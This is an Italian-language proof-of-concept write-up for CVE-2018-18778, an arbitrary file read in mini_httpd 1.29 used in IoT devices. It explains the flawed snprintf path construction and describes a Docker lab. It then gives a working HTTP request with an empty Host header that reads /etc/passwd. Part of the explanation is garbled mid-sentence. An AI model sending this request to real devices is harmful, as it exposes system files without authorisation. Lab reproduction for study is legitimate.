
PoC exploit per CVE-2018-18778: lettura arbitraria di file in mini_httpd 1.29 tramite header Host vuoto, che colpisce dispositivi IoT di Huawei, Zyxel e altri.
Mini_httpd è un server HTTP miniaturizzato che, pur occupando poche risorse di sistema, mantiene un certo livello di prestazioni (circa il 90% di Apache). Per questo motivo è ampiamente utilizzato come server embedded in vari dispositivi IoT (router, switch, telecamere, ecc.). Tra i produttori che hanno impiegato il componente mini_httpd nei loro dispositivi figurano Huawei, Zyxel, Hikvision, Raspberry Pi e altri.
Quando mini_httpd è in esecuzione in modalità host virtuale, la richiesta dell'utente a http://HOST/FILE accederà al file HOST/FILE nella directory corrente.
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
Vedi il codice sopra, analisi come segue:
example.com e FILE=index.html, il risultato dell'istruzione sopra è example.com/index.html, il file viene letto normalmente.etc/passwd, il risultato dell'istruzione sopra è /etc/passwd.Quest'ultimo viene interpretato come percorso assoluto, quindi viene letto /etc/passwd, causando una vulnerabilità di lettura arbitraria dei file.
Esegui il seguente comando per avviare mini_httpd 1.29:
docker-compose up -d
Una volta avviato l'ambiente, visita http://your-ip:8080 per visualizzare la pagina web.
Invia la richiesta impostando Host vuoto e PATH con il percorso assoluto del file:
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Lettura riuscita del file:
